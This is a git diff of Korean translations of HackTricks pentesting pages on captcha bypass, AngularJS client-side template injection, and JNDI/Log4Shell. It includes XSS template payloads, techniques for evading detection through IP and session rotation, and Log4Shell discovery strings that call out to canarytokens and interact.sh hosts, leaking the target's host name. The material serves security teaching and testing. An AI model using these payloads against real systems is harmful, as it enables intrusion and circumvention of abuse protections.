* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)와 같은 광학 문자 인식(OCR) 도구를 사용하여 이미지에서 문자를 자동으로 읽습니다.
|
||||||
|
|
||||||
4. **추가 기술**:
|
4. **추가 기술**:
|
||||||
* **속도 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지, 이 제한을 우회하거나 재설정할 수 있는지 확인합니다.
|
* **비율 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지 확인하고 이 제한을 우회하거나 재설정할 수 있는지 확인합니다.
|
||||||
* **타사 서비스**: 자동화된 captcha 인식 및 해결을 제공하는 captcha 해결 서비스 또는 API를 사용합니다.
|
* **타사 서비스**: 자동 캡차 인식 및 해결을 제공하는 캡차 해결 서비스 또는 API를 사용합니다.
|
||||||
* **세션 및 IP 회전**: 서버의 감지 및 차단을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다.
|
* **세션 및 IP 회전**: 세션 ID와 IP 주소를 자주 변경하여 서버의 감지 및 차단을 피합니다.
|
||||||
* **User-Agent 및 헤더 조작**: User-Agent 및 기타 요청 헤더를 변경하여 다양한 브라우저나 장치를 모방합니다.
|
* **User-Agent 및 헤더 조작**: User-Agent 및 기타 요청 헤더를 변경하여 다양한 브라우저나 장치를 모방합니다.
|
||||||
* **오디오 Captcha 분석**: 오디오 captcha 옵션이 있는 경우 음성 인식 서비스를 사용하여 captcha를 해석하고 해결합니다.
|
* **오디오 캡차 분석**: 오디오 캡차 옵션이 있는 경우 음성 인식 서비스를 사용하여 캡차를 해석하고 해결합니다.
|
||||||
|
|
||||||
|
|
||||||
## Online Services to solve captchas
|
## Online Services to solve captchas
|
||||||
|
|
||||||
### [Capsolver](https://www.capsolver.com/)
|
|
||||||
|
|
||||||
Capsolver의 자동 captcha 해결기는 **저렴하고 빠른 captcha 해결 솔루션**을 제공합니다. 간단한 통합 옵션을 사용하여 프로그램과 빠르게 결합하여 몇 초 만에 최상의 결과를 얻을 수 있습니다. reCAPTCHA V2 및 V3, hCaptcha, FunCaptcha, datadome, aws captcha, 이미지-텍스트, binance / coinmarketcap captcha, geetest v3 등을 해결할 수 있습니다. 그러나 이것은 본질적으로 우회가 아닙니다.
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기술을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,29 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
이것은 [**서버 사이드 템플릿 인젝션**](ssti-server-side-template-injection/)과 비슷하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드 실행**을 허용할 수 있지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 합니다.
|
이것은 [**Server Side Template Injection**](ssti-server-side-template-injection/)과 비슷하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
|
||||||
|
|
||||||
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않다면 원래의 `{{ 7-7 }}`가 표시됩니다.
|
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`을 볼 수 있고, 그렇지 않다면 원래의 `{{ 7-7 }}`를 볼 수 있습니다.
|
||||||
|
|
||||||
## AngularJS
|
## AngularJS
|
||||||
|
|
||||||
AngularJS는 **`ng-app`**으로 알려진 속성을 통해 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임워크입니다. 이 지시어는 AngularJS가 HTML 콘텐츠를 처리할 수 있게 하여, 중괄호 안에 있는 JavaScript 표현식을 실행할 수 있게 합니다.
|
AngularJS는 **`ng-app`**으로 알려진 속성을 통해 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임워크입니다. 이 지시어는 AngularJS가 HTML 콘텐츠를 처리할 수 있게 하여, 이중 중괄호 안에서 JavaScript 표현식을 실행할 수 있게 합니다.
|
||||||
|
|
||||||
사용자 입력이 `ng-app`으로 태그된 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용하여 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
|
사용자 입력이 `ng-app`으로 태그된 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용하여 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -51,7 +38,7 @@ AngularJS는 **`ng-app`**으로 알려진 속성을 통해 HTML과 상호작용
|
||||||
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.
|
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
[**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 그래서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
|
[**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## VueJS
|
## VueJS
|
||||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,32 +15,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
JNDI는 1990년대 후반부터 Java에 통합되어 데이터나 객체를 이름 체계를 통해 찾을 수 있도록 하는 디렉토리 서비스 역할을 합니다. 다양한 디렉토리 서비스를 서비스 제공자 인터페이스(SPIs)를 통해 지원하여 원격 Java 객체를 포함한 다양한 시스템에서 데이터 검색을 가능하게 합니다. 일반적인 SPI에는 CORBA COS, Java RMI Registry 및 LDAP가 포함됩니다.
|
JNDI는 1990년대 후반부터 Java에 통합되어 데이터나 객체를 이름 시스템을 통해 찾을 수 있도록 하는 디렉토리 서비스 역할을 합니다. 다양한 디렉토리 서비스를 지원하며, 서비스 제공자 인터페이스(SPIs)를 통해 원격 Java 객체를 포함한 다양한 시스템에서 데이터를 검색할 수 있습니다. 일반적인 SPI에는 CORBA COS, Java RMI Registry 및 LDAP가 포함됩니다.
|
||||||
|
|
||||||
### JNDI Naming Reference
|
### JNDI Naming Reference
|
||||||
|
|
||||||
Java 객체는 JNDI Naming References를 사용하여 저장하고 검색할 수 있으며, 이는 두 가지 형태로 제공됩니다:
|
Java 객체는 JNDI Naming References를 사용하여 저장하고 검색할 수 있으며, 두 가지 형태로 제공됩니다:
|
||||||
|
|
||||||
* **Reference Addresses**: 객체의 위치를 지정합니다(예: _rmi://server/ref_), 지정된 주소에서 직접 검색할 수 있습니다.
|
* **Reference Addresses**: 객체의 위치를 지정합니다(예: _rmi://server/ref_), 지정된 주소에서 직접 검색할 수 있습니다.
|
||||||
* **Remote Factory**: 원격 팩토리 클래스를 참조합니다. 접근 시 클래스가 원격 위치에서 다운로드되고 인스턴스화됩니다.
|
* **Remote Factory**: 원격 팩토리 클래스를 참조합니다. 접근 시, 클래스가 원격 위치에서 다운로드되고 인스턴스화됩니다.
|
||||||
|
|
||||||
그러나 이 메커니즘은 악용될 수 있으며, 임의의 코드 로딩 및 실행으로 이어질 수 있습니다. 이에 대한 대응책은 다음과 같습니다:
|
그러나 이 메커니즘은 악용될 수 있으며, 임의의 코드 로딩 및 실행으로 이어질 수 있습니다. 이에 대한 대응책은 다음과 같습니다:
|
||||||
|
|
||||||
* **RMI**: JDK 7u21부터 기본적으로 `java.rmi.server.useCodeabseOnly = true`로 설정되어 원격 객체 로딩을 제한합니다. 보안 관리자가 추가로 로딩할 수 있는 항목을 제한합니다.
|
* **RMI**: JDK 7u21부터 기본적으로 `java.rmi.server.useCodeabseOnly = true`로 설정되어 원격 객체 로딩을 제한합니다. 보안 관리자가 로딩할 수 있는 항목을 추가로 제한합니다.
|
||||||
* **LDAP**: JDK 6u141, 7u131, 8u121부터 기본적으로 `com.sun.jndi.ldap.object.trustURLCodebase = false`로 설정되어 원격으로 로드된 Java 객체의 실행을 차단합니다. `true`로 설정하면 보안 관리자의 감독 없이 원격 코드 실행이 가능합니다.
|
* **LDAP**: JDK 6u141, 7u131, 8u121부터 기본적으로 `com.sun.jndi.ldap.object.trustURLCodebase = false`로 설정되어 원격으로 로드된 Java 객체의 실행을 차단합니다. `true`로 설정하면 보안 관리자의 감독 없이 원격 코드 실행이 가능합니다.
|
||||||
* **CORBA**: 특정 속성이 없지만 보안 관리자는 항상 활성화되어 있습니다.
|
* **CORBA**: 특정 속성이 없지만 보안 관리자는 항상 활성화되어 있습니다.
|
||||||
|
|
||||||
그러나 JNDI 링크를 해결하는 역할을 하는 **Naming Manager**는 내장 보안 메커니즘이 부족하여 모든 출처에서 객체를 검색할 수 있는 위험이 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회할 수 있어 임의의 Java 객체 로딩 또는 기존 애플리케이션 구성 요소(가젯)를 악용하여 악성 코드를 실행할 수 있습니다.
|
그러나 JNDI 링크를 해결하는 역할을 하는 **Naming Manager**는 내장된 보안 메커니즘이 부족하여 모든 출처에서 객체를 검색할 수 있는 위험이 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회할 수 있어 임의의 Java 객체 로딩 또는 기존 애플리케이션 구성 요소(가젯)를 악용하여 악성 코드를 실행할 수 있습니다.
|
||||||
|
|
||||||
악용 가능한 URL의 예는 다음과 같습니다:
|
악용 가능한 URL의 예는 다음과 같습니다:
|
||||||
|
|
||||||
|
@ -54,16 +46,16 @@ Java 객체는 JNDI Naming References를 사용하여 저장하고 검색할 수
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1022).png>)
|
![](<../../.gitbook/assets/image (1022).png>)
|
||||||
|
|
||||||
**`PROVIDER_URL`**을 설정했더라도 조회에서 다른 것을 지정할 수 있으며, 이는 접근됩니다: `ctx.lookup("<attacker-controlled-url>")` 그리고 이것이 공격자가 자신의 시스템에서 임의의 객체를 로드하기 위해 악용할 것입니다.
|
**`PROVIDER_URL`**을 설정했더라도 조회에서 다른 것을 지정할 수 있으며, 접근할 수 있습니다: `ctx.lookup("<attacker-controlled-url>")` 이는 공격자가 자신이 제어하는 시스템에서 임의의 객체를 로드하는 데 악용할 것입니다.
|
||||||
|
|
||||||
### CORBA Overview
|
### CORBA Overview
|
||||||
|
|
||||||
CORBA(공통 객체 요청 브로커 아키텍처)는 원격 객체를 고유하게 식별하기 위해 **Interoperable Object Reference (IOR)**를 사용합니다. 이 참조에는 다음과 같은 필수 정보가 포함됩니다:
|
CORBA (Common Object Request Broker Architecture)는 원격 객체를 고유하게 식별하기 위해 **Interoperable Object Reference (IOR)**를 사용합니다. 이 참조는 다음과 같은 필수 정보를 포함합니다:
|
||||||
|
|
||||||
* **Type ID**: 인터페이스의 고유 식별자.
|
* **Type ID**: 인터페이스의 고유 식별자.
|
||||||
* **Codebase**: 스텁 클래스를 얻기 위한 URL.
|
* **Codebase**: 스텁 클래스를 얻기 위한 URL.
|
||||||
|
|
||||||
특히, CORBA는 본질적으로 취약하지 않습니다. 보안을 보장하기 위해 일반적으로 다음을 포함합니다:
|
특히, CORBA는 본질적으로 취약하지 않습니다. 보안을 보장하려면 일반적으로 다음이 필요합니다:
|
||||||
|
|
||||||
* **Security Manager** 설치.
|
* **Security Manager** 설치.
|
||||||
* 보안 관리자를 구성하여 잠재적으로 악성 코드베이스에 대한 연결을 허용합니다. 이는 다음을 통해 달성할 수 있습니다:
|
* 보안 관리자를 구성하여 잠재적으로 악성 코드베이스에 대한 연결을 허용합니다. 이는 다음을 통해 달성할 수 있습니다:
|
||||||
|
@ -74,7 +66,7 @@ CORBA(공통 객체 요청 브로커 아키텍처)는 원격 객체를 고유하
|
||||||
|
|
||||||
### RMI Context
|
### RMI Context
|
||||||
|
|
||||||
RMI(원격 메서드 호출)의 경우 상황이 다소 다릅니다. CORBA와 마찬가지로 임의의 클래스 다운로드는 기본적으로 제한됩니다. RMI를 악용하려면 일반적으로 보안 관리자를 우회해야 하며, 이는 CORBA에서도 관련이 있습니다.
|
RMI (Remote Method Invocation)의 경우 상황이 다소 다릅니다. CORBA와 마찬가지로 임의의 클래스 다운로드는 기본적으로 제한됩니다. RMI를 악용하려면 일반적으로 보안 관리자를 우회해야 하며, 이는 CORBA에서도 관련이 있습니다.
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
|
@ -82,12 +74,12 @@ RMI(원격 메서드 호출)의 경우 상황이 다소 다릅니다. CORBA와
|
||||||
**검색**은 `ldap://localhost:389/o=JNDITutorial`과 같은 URL을 사용하여 LDAP 서버에서 JNDITutorial 객체를 찾고 **속성을 검색**합니다.\
|
**검색**은 `ldap://localhost:389/o=JNDITutorial`과 같은 URL을 사용하여 LDAP 서버에서 JNDITutorial 객체를 찾고 **속성을 검색**합니다.\
|
||||||
**조회**는 **이름에 바인딩된 모든 것을 얻기 위해** 명명 서비스에 사용됩니다.
|
**조회**는 **이름에 바인딩된 모든 것을 얻기 위해** 명명 서비스에 사용됩니다.
|
||||||
|
|
||||||
LDAP 검색이 **SearchControls.setReturningObjFlag()를 `true`로 호출되면 반환된 객체가 재구성됩니다**.
|
LDAP 검색이 **SearchControls.setReturningObjFlag()를 `true`로 설정하여 호출되면, 반환된 객체는 재구성됩니다**.
|
||||||
|
|
||||||
따라서 이러한 옵션을 공격할 수 있는 여러 방법이 있습니다.\
|
따라서 이러한 옵션을 공격하는 여러 방법이 있습니다.\
|
||||||
**공격자는 LDAP 레코드를 오염시켜 페이로드를 주입할 수 있습니다**. 이는 LDAP 서버에 접근할 수 있는 경우 **수십 대의 머신을 손상시키는 데 매우 유용합니다**. 이를 악용하는 또 다른 방법은 LDAP 검색에서 **MitM 공격을 수행하는 것**입니다.
|
**공격자는 LDAP 레코드를 오염시켜 페이로드를 삽입할 수 있습니다**. 이는 LDAP 서버에 접근할 수 있는 경우 시스템에서 실행됩니다(수십 대의 머신을 **손상시키는 데 매우 유용**합니다). 이를 악용하는 또 다른 방법은 LDAP 검색에서 **MitM 공격을 수행하는 것**입니다.
|
||||||
|
|
||||||
애플리케이션이 JNDI LDAP URL을 해결하도록 만들 수 있는 경우, 검색할 LDAP를 제어할 수 있으며, 악용 코드를 반환할 수 있습니다(로그4쉘).
|
애플리케이션이 JNDI LDAP URL을 해결하도록 만들 수 있는 경우, 검색할 LDAP를 제어할 수 있으며, 악용 코드를 보낼 수 있습니다(로그4쉘).
|
||||||
|
|
||||||
#### Deserialization exploit
|
#### Deserialization exploit
|
||||||
|
|
||||||
|
@ -108,9 +100,9 @@ LDAP 검색이 **SearchControls.setReturningObjFlag()를 `true`로 호출되면
|
||||||
|
|
||||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)은 `jndi` Lookup 기능을 도입했습니다. 이 기능은 JNDI를 통해 변수를 검색할 수 있게 해줍니다. 일반적으로 키는 자동으로 `java:comp/env/`로 접두사가 붙습니다. 그러나 키 자체에 **":"**가 포함되면 이 기본 접두사가 적용되지 않습니다.
|
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)은 `jndi` Lookup 기능을 도입했습니다. 이 기능은 JNDI를 통해 변수를 검색할 수 있게 해줍니다. 일반적으로 키는 자동으로 `java:comp/env/`로 접두사가 붙습니다. 그러나 키 자체에 **":"**가 포함되면 이 기본 접두사가 적용되지 않습니다.
|
||||||
|
|
||||||
키에 **:가 존재**하는 경우, 예를 들어 `${jndi:ldap://example.com/a}`와 같이 **접두사가 없으며** **LDAP 서버에 객체가 쿼리됩니다**. 이러한 Lookups는 Log4j의 구성뿐만 아니라 로그가 기록될 때에도 사용될 수 있습니다.
|
키에 **:가 있는 경우**, 예를 들어 `${jndi:ldap://example.com/a}`와 같이 **접두사가 없으며 LDAP 서버에 객체를 쿼리합니다**. 이러한 Lookups는 Log4j의 구성 및 로그가 기록될 때 모두 사용될 수 있습니다.
|
||||||
|
|
||||||
따라서 RCE를 얻기 위해 필요한 것은 **사용자가 제어하는 정보를 처리하는 취약한 버전의 Log4j**입니다. 이 라이브러리는 Java 애플리케이션에서 정보를 기록하는 데 널리 사용되기 때문에(인터넷에 노출된 애플리케이션 포함) HTTP 헤더와 같은 정보를 기록하는 log4j가 매우 일반적이었습니다. 그러나 log4j는 **HTTP 정보만 기록하는 것이 아니라 개발자가 지정한 모든 입력 및 데이터**를 기록하는 데 사용됩니다.
|
따라서 RCE를 얻기 위해 필요한 것은 **사용자가 제어하는 정보를 처리하는 취약한 버전의 Log4j**입니다. 그리고 이는 Java 애플리케이션에서 정보를 기록하는 데 널리 사용되는 라이브러리이기 때문에(인터넷에 노출된 애플리케이션 포함) HTTP 헤더와 같은 정보를 기록하는 log4j가 매우 일반적이었습니다. 그러나 log4j는 **HTTP 정보만 기록하는 것이 아니라 개발자가 지정한 모든 입력 및 데이터**를 기록합니다.
|
||||||
|
|
||||||
## Overview of Log4Shell-Related CVEs
|
## Overview of Log4Shell-Related CVEs
|
||||||
|
|
||||||
|
@ -120,11 +112,11 @@ LDAP 검색이 **SearchControls.setReturningObjFlag()를 `true`로 호출되면
|
||||||
|
|
||||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||||||
|
|
||||||
처음에는 낮은 등급으로 평가되었으나 나중에 치명적으로 업그레이드된 이 CVE는 CVE-2021-44228에 대한 2.15.0의 불완전한 수정으로 인해 발생한 **서비스 거부(DoS)** 결함입니다. 이는 비기본 구성에 영향을 미치며, 공격자가 조작된 페이로드를 통해 DoS 공격을 유발할 수 있습니다. [트윗](https://twitter.com/marcioalm/status/1471740771581652995)에서 우회 방법이 소개되었습니다. 이 문제는 메시지 조회 패턴을 제거하고 기본적으로 JNDI를 비활성화하여 2.16.0 및 2.12.2 버전에서 해결되었습니다.
|
처음에는 낮은 등급으로 평가되었으나 나중에 중요한 등급으로 업그레이드된 이 CVE는 CVE-2021-44228에 대한 2.15.0의 불완전한 수정으로 인해 발생한 **서비스 거부(DoS)** 결함입니다. 이는 비기본 구성에 영향을 미치며, 공격자가 조작된 페이로드를 통해 DoS 공격을 유발할 수 있습니다. [트윗](https://twitter.com/marcioalm/status/1471740771581652995)에서 우회 방법을 보여줍니다. 이 문제는 2.16.0 및 2.12.2 버전에서 메시지 조회 패턴을 제거하고 기본적으로 JNDI를 비활성화하여 해결되었습니다.
|
||||||
|
|
||||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||||
|
|
||||||
**Log4j 1.x 버전**에 영향을 미치는 이 CVE는 비기본 구성에서 `JMSAppender`를 사용하는 신뢰할 수 없는 역직렬화 결함입니다. 1.x 브랜치에 대한 수정이 없으며, `log4j-core 2.17.0`으로 업그레이드하는 것이 권장됩니다.
|
**Log4j 1.x 버전**에 영향을 미치는 이 CVE는 비기본 구성에서 `JMSAppender`를 사용하는 신뢰할 수 없는 역직렬화 결함입니다. 1.x 브랜치에 대한 수정은 제공되지 않으며, `log4j-core 2.17.0`으로 업그레이드하는 것이 권장됩니다.
|
||||||
|
|
||||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||||||
|
|
||||||
|
@ -136,13 +128,13 @@ Log4j 2.16.0에는 DoS 결함이 포함되어 있으며, CVE를 수정하기 위
|
||||||
|
|
||||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||||
|
|
||||||
log4j 버전 2.17에 영향을 미치는 이 CVE는 공격자가 log4j의 구성 파일을 제어해야 합니다. 이는 구성된 JDBCAppender를 통해 잠재적인 임의 코드 실행을 포함합니다. 추가 세부정보는 [Checkmarx 블로그 게시물](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)에서 확인할 수 있습니다.
|
log4j 버전 2.17에 영향을 미치는 이 CVE는 공격자가 log4j의 구성 파일을 제어해야 합니다. 이는 구성된 JDBCAppender를 통해 잠재적인 임의 코드 실행을 포함합니다. 더 많은 세부정보는 [Checkmarx 블로그 게시물](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
## Log4Shell Exploitation
|
## Log4Shell Exploitation
|
||||||
|
|
||||||
### Discovery
|
### Discovery
|
||||||
|
|
||||||
이 취약점은 보호되지 않은 경우 매우 쉽게 발견될 수 있습니다. 왜냐하면 페이로드에 지정한 주소로 최소한 **DNS 요청**을 보낼 것이기 때문입니다. 따라서 다음과 같은 페이로드가 있습니다:
|
이 취약점은 보호되지 않은 경우 매우 쉽게 발견될 수 있습니다. 페이로드에 지정한 주소로 최소한 **DNS 요청**을 보낼 것입니다. 따라서 다음과 같은 페이로드가 있습니다:
|
||||||
|
|
||||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
|
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
|
||||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||||
|
@ -158,7 +150,7 @@ log4j 버전 2.17에 영향을 미치는 이 CVE는 공격자가 log4j의 구성
|
||||||
|
|
||||||
#### **Local Discovery**
|
#### **Local Discovery**
|
||||||
|
|
||||||
다음과 같이 **로컬 취약한 버전**의 라이브러리를 검색합니다:
|
다음 명령어로 **로컬 취약한 버전**의 라이브러리를 검색합니다:
|
||||||
```bash
|
```bash
|
||||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||||
```
|
```
|
||||||
|
@ -242,7 +234,7 @@ JDK 버전 6u141, 7u131 또는 8u121 이상에서 실행되는 호스트는 LDAP
|
||||||
```bash
|
